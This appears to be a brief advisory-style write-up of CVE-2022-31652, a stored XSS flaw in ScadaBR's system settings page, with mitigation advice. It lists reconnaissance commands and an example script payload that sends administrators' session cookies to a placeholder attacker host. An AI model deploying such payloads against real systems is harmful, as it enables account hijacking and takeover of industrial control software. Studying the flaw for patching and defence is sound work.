Listen to this Post
How the mentioned CVE works:
The CVE-2022-31652 vulnerability exists within the system_settings.shtm page of ScadaBR. This page is part of the application’s administrative interface, responsible for configuring core system parameters. The application fails to properly sanitize user-supplied input before storing it and subsequently rendering it within the webpage. An authenticated attacker, with permissions to access the system settings, can inject malicious JavaScript payloads into the vulnerable fields. When a legitimate administrator later views the system settings page, the stored malicious script is executed within their browser session. This execution occurs in the context of the administrator’s account, allowing the attacker to perform any actions the administrator is authorized to do, such as creating new privileged users, manipulating system configurations, or stealing session cookies to hijack the account.
Platform: ScadaBR
Version: <=0.9.1 (Linux)
Vulnerability: Stored XSS
Severity: Critical
date: 2022-09-07
Prediction: 2022-10-15
What Undercode Say:
Searching for similar vulnerable endpoints grep -r "system_settings" /var/lib/ScadaBR/ find /opt/ScadaBR -name ".shtm" -type f curl -X GET http://<target>/scadabr/system_settings.shtm
<!-- Example Payload -->
<script>fetch('http://attacker.com/steal?cookie=' + document.cookie)</script>
How Exploit:
Attacker injects malicious script into system_settings.shtm. The payload is stored on the server. An administrator views the settings page. The script executes automatically, hijacking the admin session.
Protection from this CVE:
Apply vendor patch. Implement strict input sanitization. Encode output. Use Content Security Policy (CSP).
Impact:
Full administrator account compromise. Unauthorized system configuration changes. Complete application control loss.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: www.cve.org
Extra Source Hub:
Undercode
